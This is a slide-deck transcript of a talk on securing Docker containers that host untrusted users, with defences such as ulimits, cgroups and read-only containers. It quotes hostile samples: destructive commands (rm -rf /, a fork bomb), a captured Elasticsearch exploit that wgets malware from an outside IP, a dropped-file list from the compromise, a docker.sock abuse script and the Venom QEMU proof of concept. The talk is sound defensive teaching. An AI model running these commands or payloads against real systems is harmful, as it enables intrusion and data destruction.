lessons from running potentially malicious code inside containers

56
Lessons from running potentially malicious code inside containers @Ben_Hall [email protected] Ocelot Uproar / Katacoda.com

Upload: ben-hall

Post on 19-Jan-2017

189 views

Category:

Software


1 download

TRANSCRIPT

Page 1: Lessons from running potentially malicious code inside containers

Lessons from running potentially malicious code inside containers@[email protected] Uproar / Katacoda.com

Page 2: Lessons from running potentially malicious code inside containers

@Ben_Hall / Blog.BenHall.me.uk

Docker London Organiser

Software Development Studio

WH

O AM

I?

Page 3: Lessons from running potentially malicious code inside containers

“What happens when you give anonymous unrestricted

access to a hosted Docker container & daemon?”

This is how we [try to] protect ourselves

Page 4: Lessons from running potentially malicious code inside containers

Learn via Interactive Browser-Based LabsKatacoda.com

Page 5: Lessons from running potentially malicious code inside containers

Multi-tenant system

PaaS

CI Servers

Untrusted 3rd Parties

Docker Security Practices

Page 6: Lessons from running potentially malicious code inside containers
Page 7: Lessons from running potentially malicious code inside containers

The first “hack”

Page 8: Lessons from running potentially malicious code inside containers

$ whoami$ pwd$ cd /$ ls$ apt-get install <some package>$ passwd$ rm –rf /

Page 9: Lessons from running potentially malicious code inside containers
Page 10: Lessons from running potentially malicious code inside containers

DockerfileRUN adduser <new user>USER <new user>

$ docker run –u <new user>

Page 11: Lessons from running potentially malicious code inside containers

$ uptime$ free -m$ df -h$ cat /proc/cpuinfo$ uname -a

Page 12: Lessons from running potentially malicious code inside containers
Page 13: Lessons from running potentially malicious code inside containers

$ reboot

$ shutdown now

Page 14: Lessons from running potentially malicious code inside containers
Page 15: Lessons from running potentially malicious code inside containers

“It also allows the container to access local network services + like D-bus and is therefore

considered insecure”

$ docker run --net=host -it ubuntu bash root@ubuntu:/# shutdown now root@ubuntu:/# $ docker run --net=host -it ubuntu bash Post http://docker:4243/v1.20/containers/create: EOF. * Are you trying to connect to a TLS-enabled daemon without TLS? * Is your docker daemon up and running?

Page 16: Lessons from running potentially malicious code inside containers

Docker out of the box covers a lot but not everything…

Page 17: Lessons from running potentially malicious code inside containers

$ while :; do echo 'Hello World'; done

Page 18: Lessons from running potentially malicious code inside containers

Log Rotation since 1.8

Page 19: Lessons from running potentially malicious code inside containers

$ fallocate Operation Not Supported

$ truncate

$ dd

Page 20: Lessons from running potentially malicious code inside containers

Root users can write to it. If you can write to it, you can fill it.

$ ls /docker/aufs/diff/<container-id>/

$ cat /docker/containers/<container-id>/hosts

Page 21: Lessons from running potentially malicious code inside containers

Bandwidth

Page 22: Lessons from running potentially malicious code inside containers

Difficult to restrict

Page 23: Lessons from running potentially malicious code inside containers
Page 24: Lessons from running potentially malicious code inside containers

CGroups and Namespaces

Page 25: Lessons from running potentially malicious code inside containers

CPU Shares

Page 26: Lessons from running potentially malicious code inside containers

:(){ :|: & };:

Page 27: Lessons from running potentially malicious code inside containers

$ docker run -d -u daemon --ulimit nproc=3 busybox top $ docker run -d -u daemon --ulimit nproc=3 busybox top $ docker run -d -u daemon --ulimit nproc=3 busybox top $ docker run -d -u daemon --ulimit nproc=3 busybox topefe086376f3d1b09f6d99fa1af8bfb6e021cdba9b363bd6ac10c07704239b398 Error response from daemon: Cannot start container efe086376f3d1b09f6d99fa1af8bfb6e021cdba9b363bd6ac10c07704239b398: [8] System error: resource temporarily unavailable

Page 28: Lessons from running potentially malicious code inside containers
Page 29: Lessons from running potentially malicious code inside containers

Cgroup Settings

• Limit a container to a share of the resource> --cpu-shares> --cpuset-cpus> --memory-reservation> --kernel-memory> --blkio-weight (block IO)> --device-read-iops> --device-write-iops

Page 30: Lessons from running potentially malicious code inside containers

Namespaces limit what a container can see…

Page 31: Lessons from running potentially malicious code inside containers

Seccomp & AppArmor

Page 32: Lessons from running potentially malicious code inside containers
Page 33: Lessons from running potentially malicious code inside containers
Page 34: Lessons from running potentially malicious code inside containers

The Warden

Based on Docker API + Magic

Snort for Docker?

Page 35: Lessons from running potentially malicious code inside containers

Sysdig Falco

Page 36: Lessons from running potentially malicious code inside containers

What happens when it all goes wrong?

Page 37: Lessons from running potentially malicious code inside containers

Hosting provider becomes unhappy

Page 38: Lessons from running potentially malicious code inside containers
Page 39: Lessons from running potentially malicious code inside containers
Page 40: Lessons from running potentially malicious code inside containers

org.elasticsearch.search.SearchParseException: [index][3]: query[ConstantScore(*:*)],from[-1],size[1]: Parse Failure [Failed to parse source [{"size":1,"query":{"filtered":{"query":{"match_all":{}}}},"script_fields":{"exp":{"script":"import java.util.*;\nimport java.io.*;\nString str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xdvi http://<IP Address>:9985/xdvi\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();"}}}]]

http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/

Page 41: Lessons from running potentially malicious code inside containers

C /binC /bin/netstatC /bin/psC /bin/ssC /etcC /etc/init.dA /etc/init.d/DbSecuritySptA /etc/init.d/selinuxC /etc/rc1.dA /etc/rc1.d/S97DbSecuritySptA /etc/rc1.d/S99selinuxC /etc/rc2.dA /etc/rc2.d/S97DbSecuritySptA /etc/rc2.d/S99selinuxC /etc/rc3.dA /etc/rc3.d/S97DbSecuritySptA /etc/rc3.d/S99selinuxC /etc/rc4.dA /etc/rc4.d/S97DbSecuritySptA /etc/rc4.d/S99selinuxC /etc/rc5.d

http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/

A /etc/rc5.d/S97DbSecuritySptA /etc/rc5.d/S99selinuxC /etc/sshA /etc/ssh/bfgffaA /os6A /safe64C /tmpA /tmp/.Mm2A /tmp/64A /tmp/6SxxA /tmp/6UbbA /tmp/DDos99A /tmp/cmd.nA /tmp/conf.nA /tmp/ddos8A /tmp/dp25A /tmp/frccA /tmp/gates.lodA /tmp/hkddosA /tmp/hsperfdata_rootA /tmp/linux32

A /tmp/linux64A /tmp/managerA /tmp/moni.lodA /tmp/nbA /tmp/o32A /tmp/obaA /tmp/okmlA /tmp/oniA /tmp/yn25C /usrC /usr/binA /usr/bin/.sshdA /usr/bin/dpkgdA /usr/bin/dpkgd/netstatA /usr/bin/dpkgd/psA /usr/bin/dpkgd/ss

Page 42: Lessons from running potentially malicious code inside containers

Read Only Containers

> docker run –-read-only \ –v /data:/data \ elasticsearch

Page 43: Lessons from running potentially malicious code inside containers
Page 44: Lessons from running potentially malicious code inside containers
Page 45: Lessons from running potentially malicious code inside containers

Is Docker Secure?

• Yes. It’s as secure as your practices are.• ElasticSearch hack would have taken over

entire box• I’ve pointed out the bad bits• New game, new rules to play by.

Page 46: Lessons from running potentially malicious code inside containers

$ docker run benhall/cute-kittensError: Missing docker.sockUsage: docker run -v /var/run/docker.sock:/var/run/docker.sock benhall/cute-kittens

$ docker run -v /var/run/docker.sock:/var/run/docker.sock benhall/cute-kittens

Page 47: Lessons from running potentially malicious code inside containers

if [ -e /var/run/docker.sock ]; then echo "**** Launching ****” docker run --privileged busybox ls /dev echo "**** Cute kittens ****"else echo "Error: Missing docker.sock”fi

Page 48: Lessons from running potentially malicious code inside containers
Page 49: Lessons from running potentially malicious code inside containers
Page 50: Lessons from running potentially malicious code inside containers
Page 51: Lessons from running potentially malicious code inside containers
Page 52: Lessons from running potentially malicious code inside containers

DockerBench.com

Page 53: Lessons from running potentially malicious code inside containers

Think VMs contain?• CVE-2016-3710: QEMU: out-of-bounds memory access issue

• Venom QEMU/KVM – Attack via floppy driver#include <sys/io.h>#define FIFO 0x3f5int main() { int i; iopl(3);

outb(0x0a,0x3f5); /* READ ID */ for (i=0;i<10000000;i++) outb(0x42,0x3f5); /* push */}

Page 54: Lessons from running potentially malicious code inside containers
Page 55: Lessons from running potentially malicious code inside containers

Available for one/two day Microservice/Docker Security training

Page 56: Lessons from running potentially malicious code inside containers

Thank you!

www.Katacoda.com

@[email protected]